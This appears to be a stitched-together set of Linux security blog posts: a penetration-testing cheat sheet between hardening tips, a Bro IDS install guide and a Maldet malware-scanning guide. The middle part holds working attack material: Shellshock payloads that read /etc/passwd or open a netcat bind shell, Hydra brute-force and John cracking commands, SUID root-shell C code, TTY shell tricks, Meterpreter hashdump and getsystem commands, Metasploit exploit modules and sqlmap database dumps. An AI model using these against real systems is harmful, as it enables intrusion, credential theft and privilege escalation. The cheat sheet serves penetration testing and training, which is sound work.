Info: Starting test name ‘running_procs’
Checking running processes for suspicious files [ None found ]
Info: Starting test name ‘hidden_procs’
Info: Unable to find the ‘unhide’ command
Info: Unable to find the ‘unhide-linux’ command
Checking for hidden processes
[ Skipped ]

rkhunter command line

rkhunter help

Have Phun!

YUM Commands

YUM Commands

Package manager used by RPM based systems, you can pull some usefull information about installed packages and or install additional tools.

COMMANDDESCRIPTION
yum updateUpdate all RPM packages with YUM, also shows whats out of date.
yum update httpdUpdate individual packages, in this example HTTPD (Apache).
yum install packageInstall a package using YUM.
yum --exclude=package kernel* updateExclude a package from being updates with YUM.
yum remove packageRemove package with YUM.
yum erase packageRemove package with YUM.
yum list packageLists info about yum package.
yum provides httpdWhat a packages does, e.g Apache HTTPD Server.
yum info httpdShows package info, architecture, version etc.
yum localinstall blah.rpmUse YUM to install local RPM, settles deps from repo.
yum deplist packageShows deps for a package.
yum list installed | moreList all installed packages.
yum grouplist | moreShow all YUM groups.
yum groupinstall 'Development Tools'Install YUM group.

CentOS 7 System Information Commands

System Information Commands

Useful for local enumeration.

COMMANDDESCRIPTION
whoamiShows currently logged in user on Linux.
idShows currently logged in user and groups for the user.
lastShows last logged in users.
mountShow mounted drives.
df -hShows disk usage in human readable output.
echo "user:passwd" | chpasswdReset password in one line.
getent passwdList users on Linux.
strings /usr/local/bin/blahShows contents of none text files, e.g. whats in a binary.
uname -arShows running kernel version.
PATH=$PATH:/my/new-pathAdd a new PATH, handy for local FS manipulation.
historyShow bash history, commands the user has entered previously.

Sysctl Security

#nano /etc/sysctl.conf

net.ipv4.ip_forward = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.tcp_max_syn_backlog = 1280
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.default.accept_source_route = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1
net.ipv4.tcp_syncookies = 1
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.tcp_timestamps = 0

Notes

BOF / Exploit

Exploit Research

Find exploits for enumerated hosts / services.

COMMANDDESCRIPTION
searchsploit windows 2003 | grep -i localSearch exploit-db for exploit, in this example windows 2003 + local esc
site:exploit-db.com exploit kernel <= 3Use google to search exploit-db.com for exploits
grep -R "W7" /usr/share/metasploit-framework
/modules/exploit/windows/*
Search metasploit modules using grep – msf search sucks a bit

Searching for Exploits

Install local copy of exploit-db:

 searchsploit –u
 searchsploit apache 2.2
 searchsploit "Linux Kernel"
 searchsploit linux 2.6 | grep -i ubuntu | grep local

Compiling Windows Exploits on Kali

  wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
  wine mingw-get-setup.exe
  select mingw32-base
  cd /root/.wine/drive_c/windows
  wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
  cd /root/.wine/drive_c/MinGW/bin
  wine gcc -o ability.exe /tmp/exploit.c -lwsock32
  wine ability.exe  

Cross Compiling Exploits

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Exploiting Common Vulnerabilities

Exploiting Shellshock

A tool to find and exploit servers vulnerable to Shellshock:

git clone https://github.com/nccgroup/shocker
./shocker.py -H TARGET  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
cat file (view file contents)
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
Shell Shock run bind shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
Shell Shock reverse Shell
nc -l -p 443

Simple Local Web Servers

Python local web server command, handy for serving up shells and exploits on an attacking machine.

COMMANDDESCRIPTION
python -m SimpleHTTPServer 80Run a basic http server, great for serving up shells etc
python3 -m http.serverRun a basic Python3 http server, great for serving up shells etc
ruby -rwebrick -e "WEBrick::HTTPServer.new
(:Port => 80, :DocumentRoot => Dir.pwd).start"
Run a ruby webrick basic http server
php -S 0.0.0.0:80Run a basic PHP http server

Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.

COMMANDDESCRIPTION
mount 192.168.1.1:/vol/share /mnt/nfsMount NFS share to /mnt/nfs
mount -t cifs -o username=user,password=pass
,domain=blah //192.168.1.X/share-name /mnt/cifs
Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
net use Z: \\win-server\share password
/user:domain\janedoe /savecred /p:no
Mount a Windows share on Windows from the command line
apt-get install smb4k -yInstall smb4k on Kali, useful Linux GUI for browsing SMB shares

HTTP / HTTPS Webserver Enumeration

COMMANDDESCRIPTION
nikto -h 192.168.1.1Perform a nikto scan against target
dirbusterConfigure via GUI, CLI input doesn’t work most of the time

Packet Inspection

COMMANDDESCRIPTION
tcpdump tcp port 80 -w output.pcap -i eth0tcpdump for port 80 on interface eth0, outputs to output.pcap

Username Enumeration

Some techniques used to remotely enumerate users on a target system.

SMB User Enumeration

COMMANDDESCRIPTION
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
Enumerate users from SMB
ridenum.py 192.168.XXX.XXX 500 50000 dict.txtRID cycle SMB / enumerate users from SMB

SNMP User Enumeration

COMMANDDESCRIPTION
snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25
|cut -d” “ -f4
Enmerate users from SNMP
python /usr/share/doc/python-impacket-doc/examples/
samrdump.py SNMP 192.168.X.XXX
Enmerate users from SNMP
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
(then grep)
Search for SNMP servers with nmap, grepable output

Passwords

Wordlists

COMMANDDESCRIPTION
/usr/share/wordlistsKali word lists

Brute Forcing Services

Hydra FTP Brute Force

COMMANDDESCRIPTION
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX ftp -V
Hydra FTP brute force

Hydra POP3 Brute Force

COMMANDDESCRIPTION
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX pop3 -V
Hydra POP3 brute force

Hydra SMTP Brute Force

COMMANDDESCRIPTION
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -VHydra SMTP brute force

Use -t to limit concurrent connections, example: -t 15

Password Cracking

John The Ripper – JTR

COMMANDDESCRIPTION
john --wordlist=/usr/share/wordlists/rockyou.txt hashesJTR password cracking
john --format=descrypt --wordlist
/usr/share/wordlists/rockyou.txt hash.txt
JTR forced descrypt cracking with wordlist
john --format=descrypt hash --showJTR forced descrypt brute force cracking

Windows Penetration Testing Commands

See Windows Penetration Testing Commands.

Linux Penetration Testing Commands

See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing commands, useful for local system enumeration.

Compiling Exploits

Some notes on compiling exploits.

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.

COMMANDDESCRIPTION
process.h, string.h, winbase.h, windows.h, winsock2.hWindows exploit code
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,
sys/sockt.h, sys/types.h, unistd.h
Linux exploit code

Build Exploit GCC

Compile exploit gcc.

COMMANDDESCRIPTION
gcc -o exploit exploit.cBasic GCC compile

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

COMMANDDESCRIPTION
gcc -m32 exploit.c -o exploitCross compile 32 bit binary on 64 bit Linux

Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.

COMMANDDESCRIPTION
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exeCompile windows .exe on Linux

SUID Binary

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and pate examples for various shells:

SUID C Shell for /bin/bash

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}       

SUID C Shell for /bin/sh

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}       

Building the SUID Shell binary

gcc -o suid suid.c  

For 32 bit:

gcc -m32 -o suid suid.c  

Reverse Shells

See Reverse Shell Cheat Sheet for a list of useful Reverse Shells.

TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

exec "/bin/sh";
perl e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

exec "/bin/sh"

Spawn Lua TTY Shell

os.execute('/bin/sh')

Spawn TTY Shell from Vi

Run shell commands from vi:

:!bash

Spawn TTY Shell NMAP

!sh

Metasploit

Some basic Metasploit stuff, that I have found handy for reference.

Basic Metasploit commands, useful for reference, for pivoting see – Meterpreter Pivoting techniques.

Meterpreter Payloads

Windows reverse meterpreter payload

COMMANDDESCRIPTION
set payload windows/meterpreter/reverse_tcpWindows reverse tcp payload

Windows VNC Meterpreter payload

COMMANDDESCRIPTION
set payload windows/vncinject/reverse_tcp

set ViewOnly false

Meterpreter Windows VNC Payload

Linux Reverse Meterpreter payload

COMMANDDESCRIPTION
set payload linux/meterpreter/reverse_tcpMeterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

Useful meterpreter commands.

COMMANDDESCRIPTION
upload file c:\\windowsMeterpreter upload file to Windows target
download c:\\windows\\repair\\sam /tmpMeterpreter download file from Windows target
download c:\\windows\\repair\\sam /tmpMeterpreter download file from Windows target
execute -f c:\\windows\temp\exploit.exeMeterpreter run .exe on target – handy for executing uploaded exploits
execute -f cmd -c Creates new channel with cmd shell
psMeterpreter show processes
shellMeterpreter get shell on the target
getsystemMeterpreter attempts priviledge escalation the target
hashdumpMeterpreter attempts to dump the hashes on the target
portfwd add –l 3389 –p 3389 –r targetMeterpreter create port forward to target machine
portfwd delete –l 3389 –p 3389 –r targetMeterpreter delete port forward

Common Metasploit Modules

Top metasploit modules.

Remote Windows Metasploit Modules (exploits)

COMMANDDESCRIPTION
use exploit/windows/smb/ms08_067_netapiMS08_067 Windows 2k, XP, 2003 Remote Exploit
use exploit/windows/dcerpc/ms06_040_netapiMS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index
MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit

Local Windows Metasploit Modules (exploits)

COMMANDDESCRIPTION
use exploit/windows/local/bypassuacBypass UAC on Windows 7 + Set target + arch, x86/64

Auxilary Metasploit Modules

COMMANDDESCRIPTION
use auxiliary/scanner/http/dir_scannerMetasploit HTTP directory scanner
use auxiliary/scanner/http/jboss_vulnscanMetasploit JBOSS vulnerability scanner
use auxiliary/scanner/mssql/mssql_loginMetasploit MSSQL Credential Scanner
use auxiliary/scanner/mysql/mysql_versionMetasploit MSSQL Version Scanner
use auxiliary/scanner/oracle/oracle_loginMetasploit Oracle Login Module

Metasploit Powershell Modules

COMMANDDESCRIPTION
use exploit/multi/script/web_deliveryMetasploit powershell payload delivery module
post/windows/manage/powershell/exec_powershellMetasploit upload and run powershell script through a session
use exploit/multi/http/jboss_maindeployerMetasploit JBOSS deploy
use exploit/windows/mssql/mssql_payloadMetasploit MSSQL payload

Post Exploit Windows Metasploit Modules

Windows Metasploit Modules for privilege escalation.

COMMANDDESCRIPTION
run post/windows/gather/win_privsMetasploit show privileges of current user
use post/windows/gather/credentials/gppMetasploit grab GPP saved passwords
load mimikatz -> wdigestMetasplit load Mimikatz
run post/windows/gather/local_admin_search_enumIdenitfy other machines that the supplied domain user has administrative access to
run post/windows/gather/smart_hashdumpAutomated dumping of sam file, tries to esc privileges etc

ASCII Table Cheat Sheet

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

ASCIICHARACTER
x00Null Byte
x08BS
x09TAB
x0aLF
x0dCR
x1bESC
x20SPC
x21!
x22
x23#
x24$
x25%
x26&
x27`
x28(
x29)
x2a*
x2b+
x2c,
x2d
x2e.
x2f/
x300
x311
x322
x333
x344
x355
x366
x377
x388
x399
x3a:
x3b;
x3c<
x3d=
x3e>
x3f?
x40@
x41A
x42B
x43C
x44D
x45E
x46F
x47G
x48H
x49I
x4aJ
x4bK
x4cL
x4dM
x4eN
x4fO
x50P
x51Q
x52R
x53S
x54T
x55U
x56V
x57W
x58X
x59Y
x5aZ
x5b[
x5c\
x5d]
x5e^
x5f_
x60`
x61a
x62b
x63c
x64d
x65e
x66f
x67g
x68h
x69i
x6aj
x6bk
x6cl
x6dm
x6en
x6fo
x70p
x71q
x72r
x73s
x74t
x75u
x76v
x77w
x78x
x79y
x7az

CISCO IOS Commands

A collection of useful Cisco IOS commands.

COMMANDDESCRIPTION
enableEnters enable mode
conf tShort for, configure terminal
(config)# interface fa0/0Configure FastEthernet 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255Add ip to fa0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255Add ip to fa0/0
(config-if)# line vty 0 4Configure vty line
(config-line)# loginCisco set telnet password
(config-line)# password YOUR-PASSWORDSet telnet password
# show running-configShow running config loaded in memory
# show startup-configShow sartup config
# show versionshow cisco IOS version
# show sessiondisplay open sessions
# show ip interfaceShow network interfaces
# show interface e0Show detailed interface info
# show ip routeShow routes
# show access-listsShow access lists
# dir file systemsShow available files
# dir all-filesystemsFile information
# dir /allSHow deleted files
# terminal length 0No limit on terminal output
# copy running-config tftpCopys running config to tftp server
# copy running-config startup-configCopy startup-config to running-config

Cryptography

Hash Lengths

HASHSIZE
MD5 Hash Length16 Bytes
SHA-1 Hash Length20 Bytes
SHA-256 Hash Length32 Bytes
SHA-512 Hash Length64 Bytes

Hash Examples

Likely just use hash-identifier for this but here are some example hashes:

HASHEXAMPLE
MD5 Hash Example8743b52063cd84097a65d1633f5c74f5
MD5 $PASS:$SALT Example01dfae6e5d4d90d9892622325959afbe:7050461
MD5 $SALT:$PASSf0fda58630310a6dd91a7d8f0a4ceda2:4225637426
SHA1 Hash Exampleb89eaac7e61417341b710b727768294d0e6a277b
SHA1 $PASS:$SALT2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
SHA1 $SALT:$PASScac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
SHA-256127e6fbfe24a750e72930c220a8e138275656b
8e5d8f48a98c3c92df2caba935
SHA-256 $PASS:$SALTc73d08de890479518ed60cf670d17faa26a4a7
1f995c1dcc978165399401a6c4
SHA-256 $SALT:$PASSeb368a2dfd38b405f014118c7d9747fcc97f4
f0ee75c05963cd9da6ee65ef498:560407001617
SHA-51282a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f
SHA-512 $PASS:$SALTe5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd
SHA-512 $SALT:$PASS976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a
NTLM Hash Exampleb4b9b02e6f09a9bd760f388b67351e2b

SQLMap Examples

COMMANDDESCRIPTION
sqlmap -u http://meh.com --forms --batch --crawl=10
--cookie=jsessionid=54321 --level=5 --risk=3
Automated sqlmap scan
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE
--level=3 --current-user --current-db --passwords
--file-read="/var/www/blah.php"
Targeted sqlmap scan
sqlmap -u "http://meh.com/meh.php?id=1"
--dbms=mysql --tech=U --random-agent --dump
Scan url for union + error based injection with mysql backend
and use a random user agent + database dump
sqlmap -o -u "http://meh.com/form/" --formssqlmap check form for injection
sqlmap -o -u "http://meh/vuln-form" --forms
-D database-name -T users --dump
sqlmap dump and crack hashes for table users on database-name.

Notes

Disable core dumps for all users

#nano /etc/security/limits.conf

* hard core 0

Disable core dumps for SUID programs

#sysctl -w fs.suid_dumpable=0
#fs.suid_dumpable = 0

Set runtime for fs.suid_dumpable
#sysctl -q -n -w fs.suid_dumpable=0

If fs.suid_dumpable present in /etc/sysctl.conf, change value to “0”
else, add “fs.suid_dumpable = 0” to /etc/sysctl.conf

if grep –silent ^fs.suid_dumpable /etc/sysctl.conf ; then sed -i ‘s/^fs.suid_dumpable.*/fs.suid_dumpable = 0/g’ /etc/sysctl.conf else echo “” >> /etc/sysctl.conf echo “# Set fs.suid_dumpable to 0 per security requirements” >> /etc/sysctl.conf echo “fs.suid_dumpable = 0” >> /etc/sysctl.conf
fi

Buffer Overflow Protection

This section helps mitigate against Buffer Overflow attacks (BOF).

Enable ExecShield

Helps prevent stack smashing / BOF.

Enable on current kernel: sysctl -w kernel.exec-shield=1

Add to /etc/sysctl.conf:

kernel.exec-shield = 1

Check / Enable ASLR

Set runtime for kernel.randomize_va_space sysctl -q -n -w kernel.randomize_va_space=2

Add kernel.randomize_va_space = 2 to /etc/sysctl.conf if it does not already exist.

Enable XD or NX Support on x86 Systems

Recent processors in the x86 family support the ability to prevent code execution on a per memory page basis. Generically and on AMD processors, this ability is called No Execute (NX), while on Intel processors it is called Execute Disable (XD). This ability can help prevent exploitation of buffer overflow vulnerabilities and should be activated whenever possible. Extra steps must be taken to ensure that this protection is enabled, particularly on 32-bit x86 systems. Other processors, such as Itanium and POWER, have included such support since inception and the standard kernel for those platforms supports the feature.

Check bios and ensure XD/NX is enabled, not relevant for VM’s.

Disable SSH Support for .rhosts Files

SSH can emulate the behavior of the obsolete rsh command in allowing users to enable insecure access to their accounts via .rhosts files.

To ensure this behavior is disabled, add or correct the following line in /etc/ssh/sshd_config:

IgnoreRhosts yes

 

Let’s Encrypt!

We’re making it possible for everyone to experience a secure and privacy-respecting Web. We make it easy to get certificates for HTTPS, because ease of use is critical for adoption. We provide certificates free of charge, because cost excludes people. Our certificates are available in every country in the world, because the secure Web is for everyone. We strive to be open and transparent, because these values are essential for trust.

https://letsencrypt.org/donate/

Quality open source alternative to SonicWALL and WatchGuard

Untangle’s Firewall filters traffic based on IP address, protocol and ports and allows administrators to designate which systems and services (http, ftp, etc.) are publicly available, create a DMZ and perform NAT (with Router), and run as a transparent bridge to complement existing hardware.

Untangle is much more than a firewall. It is, in fact, a Linux distribution that includes a host of software written by other developers. Software includes a Web Filter, Spam Blocker, Spyware Blocker, Virus Blocker, Phish Blocker, Instrusion Prevention, Attack Blocker, OpenVPN, Router, Untangle Reports, and Untangle Platform.

Features include:

  • Blocks sessions based on simple rules
  • Rules can be based on a variety of attributes
  • Custom logging, blocking or passing rules can be created by:
    • protocol
    • direction
    • source address
    • destination address
    • source port
    • destination port

Source : https://www.untangle.com/

Install Bro on CentOS 7.X/6.X

Required Dependencies

Bro requires following dependancies to work properly

  • Libpcap   (Package name=libpcap-devel)
  • OpenSSL libraries (openssl-devel)
  • BIND8 library (already installed in centos)
  • Libz (already install in centos)
  • Bash (for BroControl)
  • Python (for BroControl) (python-devel)

To build Bro from source following addition dependancies are required

Let us install all of above dependancies first

sudo yum install cmake make gcc gcc-c++ flex bison libpcap-devel openssl-devel python-devel swig zlib-devel perl

Optional Dependencies

Following are the optional dependancies, bro can make use of them if they are availble at build time

  • LibGeoIP (for geolocating IP addresses)
  • sendmail (enables Bro and BroControl to send mail)
  • gawk (enables all features of bro-cut)
  • curl (used by a Bro script that implements active HTTP)
  • gperftools (tcmalloc is used to improve memory and CPU usage)
  • ipsumdump (for trace-summary; http://www.cs.ucla.edu/~kohler/ipsumdump)
  • Ruby executable, library, and headers (for Broccoli Ruby bindings)

LibgeoIP

During the process of creating policy scripts the need may arise to find the geographic location for an IP address. Bro has support for the GeoIP library at the policy script level beginning with release 1.3 to account for this need. To use this functionality, you need to first install the libGeoIP software, and then install the GeoLite city database before building Bro.

Libgeoip allows bro to

sudo yum install GeoIP-devel

A country database for GeoIPLite is included when you do the C API install, but for Bro, we are using the city database which includes cities and regions in addition to countries.

Download the GeoLite city binary database.

wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
#unzip the database
gunzip GeoLiteCity.dat.gz

move data base to required diretory

 sudo mv GeoLiteCity.dat /usr/share/GeoIP/GeoIPCity.dat

Install gawk

GNU implementation of famous awk utility

sudo yum install gawk

Install gperftools(google performance tools)

Gperftools is a collection of a high-performance multi-threaded malloc() implementation, plus some pretty nifty performance analysis tools

sudo yum install gperftools

Ipsumdump

The ipsumdump program reads IP packets from one or more data sources, then summarizes those packets into a line-based ASCII file. The resulting summary dump is easy to process with text-based tools

#Download the latest version from here 
wget http://www.read.seas.harvard.edu/~kohler/ipsumdump/ipsumdump-1.85.tar.gz
tar -xvf ipsumdump-1.85.tar.gz
cd ipsumdump-1.85
./configure --prefix=/usr/
make 
sudo make install

Install Bro

Download the latest version from here

wget https://www.bro.org/downloads/release/bro-2.5.tar.gz
tar -xvf bro-2.5.tar.gz

Now change to this directory 
/bro/bro-2.5   assuming you created a /bro/ and install in this directory!
./configure
make
sudo make install

The installation will take a while!

by default bro will be install to /usr/local/bro/bin

Modifiy you PATH environment variable to include bro binaries

export PATH=/usr/local/bro/bin:$PATH

To make changes permanent add above line to ~/.bashrc file

A Minimal Starting Configuration

These are the basic configuration changes to make for a minimal BroControl installation that will manage a single Bro instance on the localhost:

  1. In $PREFIX/etc/node.cfg, set the right interface to monitor.
  2. In $PREFIX/etc/networks.cfg, comment out the default settings and add the networks that Bro will consider local to the monitored environment.
  3. In $PREFIX/etc/broctl.cfg, change the MailTo email address to a desired recipient and the LogRotationInterval to a desired log archival frequency.

Now start the BroControl shell like:

broctl

Since this is the first-time use of the shell, perform an initial installation of the BroControl configuration:

[BroControl] > install

Then start up a Bro instance:

[BroControl] > start

If there are errors while trying to start the Bro instance, you can can view the details with the diag command. If started successfully, the Bro instance will begin analyzing traffic according to a default policy and output the results in $PREFIX/logs.

Note

The user starting BroControl needs permission to capture network traffic. If you are not root, you may need to grant further privileges to the account you’re using; see the FAQ. Also, if it looks like Bro is not seeing any traffic, check out the FAQ entry on checksum offloading.

You can leave it running for now, but to stop this Bro instance you would do:

[BroControl] > stop

Browsing Log Files

By default, logs are written out in human-readable (ASCII) format and data is organized into columns (tab-delimited). Logs that are part of the current rotation interval are accumulated in $PREFIX/logs/current/ (if Bro is not running, the directory will be empty). For example, the http.log contains the results of Bro HTTP protocol analysis. Here are the first few columns of http.log:

# ts          uid          orig_h        orig_p  resp_h         resp_p
1311627961.8  HSH4uV8KVJg  192.168.1.100 52303   192.150.187.43 80

Logs that deal with analysis of a network protocol will often start like this: a timestamp, a unique connection identifier (UID), and a connection 4-tuple (originator host/port and responder host/port). The UID can be used to identify all logged activity (possibly across multiple log files) associated with a given connection 4-tuple over its lifetime.

The remaining columns of protocol-specific logs then detail the protocol-dependent activity that’s occurring. E.g. http.log‘s next few columns (shortened for brevity) show a request to the root of Bro website:

# method   host         uri  referrer  user_agent
GET        bro.org  /    -         <...>Chrome/12.0.742.122<...>

Some logs are worth explicit mention:

conn.log
Contains an entry for every connection seen on the wire, with basic properties such as time and duration, originator and responder IP addresses, services and ports, payload size, and much more. This log provides a comprehensive record of the network’s activity.
notice.log
Identifies specific activity that Bro recognizes as potentially interesting, odd, or bad. In Bro-speak, such activity is called a “notice”.

By default, BroControl regularly takes all the logs from $PREFIX/logs/current and archives/compresses them to a directory named by date, e.g. $PREFIX/logs/2011-10-06. The frequency at which this is done can be configured via the LogRotationInterval option in $PREFIX/etc/broctl.cfg

Bro as a Command-Line Utility

If you prefer not to use BroControl (e.g. don’t need its automation and management features), here’s how to directly control Bro for your analysis activities from the command line for both live traffic and offline working from traces.

Monitoring Live Traffic

Analyzing live traffic from an interface is simple:

bro -i en0 <list of scripts to load>

en0 can be replaced by the interface of your choice and for the list of scripts, you can just use “all” for now to perform all the default analysis that’s available.

Bro will output log files into the working directory.

Note

The FAQ entries about capturing as an unprivileged user and checksum offloading are particularly relevant at this point.

To use the site-specific local.bro script, just add it to the command-line:

bro -i en0 local

This will cause Bro to print a warning about lacking the Site::local_nets variable being configured. You can supply this information at the command line like this (supply your “local” subnets in place of the example subnets):

bro -r mypackets.trace local "Site::local_nets += { 1.2.3.0/24, 5.6.7.0/24 }"

Reading Packet Capture (pcap) Files

Capturing packets from an interface and writing them to a file can be done like this:

sudo tcpdump -i en0 -s 0 -w mypackets.trace

Where en0 can be replaced by the correct interface for your system as shown by e.g. ifconfig. (The -s 0 argument tells it to capture whole packets; in cases where it’s not supported use -s 65535 instead).

After a while of capturing traffic, kill the tcpdump (with ctrl-c), and tell Bro to perform all the default analysis on the capture which primarily includes :

bro -r mypackets.trace

Bro will output log files into the working directory.

If you are interested in more detection, you can again load the local script that we include as a suggested configuration:

bro -r mypackets.trace local

Telling Bro Which Scripts to Load

A command-line invocation of Bro typically looks like:

bro <options> <policies...>

Where the last arguments are the specific policy scripts that this Bro instance will load. These arguments don’t have to include the .bro file extension, and if the corresponding script resides under the default installation path, $PREFIX/share/bro, then it requires no path qualification. Further, a directory of scripts can be specified as an argument to be loaded as a “package” if it contains a __load__.bro script that defines the scripts that are part of the package.

This example does all of the base analysis (primarily protocol logging) and adds SSL certificate validation.

bro -r mypackets.trace protocols/ssl/validate-certs

You might notice that a script you load from the command line uses the @load directive in the Bro language to declare dependence on other scripts. This directive is similar to the #include of C/C++, except the semantics are, “load this script if it hasn’t already been loaded.”

Note

If one wants Bro to be able to load scripts that live outside the default directories in Bro’s installation root, the BROPATH environment variable will need to be extended to include all the directories that need to be searched for scripts. See the default search path by doing bro --help.

Running Bro Without Installing

For developers that wish to run Bro directly from the build/ directory (i.e., without performing make install), they will have to first adjust BROPATH to look for scripts and additional files inside the build directory. Sourcing either build/bro-path-dev.sh or build/bro-path-dev.csh as appropriate for the current shell accomplishes this and also augments your PATH so you can use the Bro binary directly:

./configure
make
source build/bro-path-dev.sh
bro <options>
Video Tutorial

Have fun!

Scanning for malware with Linux Malware Detect (LMD)

Linux Malware Detect (LMD), also known as Maldet, is a malware scanner for Linux released under the GNU GPLv2 license. It is particularly effective for the detection of php backdoors, darkmailers and many other malicious files that can be uploaded on a compromised website. It will help you do detect infected websites and clean the infection, however securing the compromised user or website is still necessary to avoid re-infection.

If the server has cPanel , we recommend you install ClamAV first, as maldet will use the ClamAV scan engine.

You will need to be logged in as root to the server over SSH.

1 – Install maldet

cd /usr/local/src/ && wget http://www.rfxn.com/downloads/maldetect-current.tar.gz && tar -xzvf maldetect-current.tar.gz && cd maldetect-* && sh install.sh

This will automatically install a cronjob inside /etc/cron.daily/maldet so a daily scan will be run for local cPanel or Plesk accounts.
2 – Make sure to update to the latest version and virus signatures:

maldet -d && maldet -u

3 – Run the first scan manually

To scan a specific user’s home directory, run the following command:

maldet -a /home/user

To launch a background scan for all user’s public_html and public_ftp in all home directories, run the following command:

maldet -b –scan-all /home?/?/public_?

(We also recommend you to scan /tmp and /dev/shm/)

4 – Verify the scan report

We recommend you to always read the scan reports before doing a quarantine. You will also be able to identify infected websites for further actions.

List all scan reports time and SCANID:

maldet –report list

Show a specific report details :

maldet –report SCANID

 

Show all scan details from log file:

grep “{scan}” /usr/local/maldetect/event_log

 

5 – Clean the malicious files

By default the quarantine is disabled. You will have to launch it manually.

maldet -q SCANID

6 – (optional) Automatically quarantine detected malware

Please review these configuration variables in /usr/local/maldetect/conf.maldet
variable     value     description
quar_hits     number     if the number is different than 0, enables automatic quarantine

7- (optional) Configure scan reports e-mail alerts

Maldet can send you and email alert each time it detects malware. Please review these configuration variables in /usr/local/maldetect/conf.maldet
variable     value     description
email_alert     1 or 0     enable or disable e-mail alerts
email_addr      e-mail address      target e-mail for notifications, should be put in quotes like: “myuser@mydomain.com”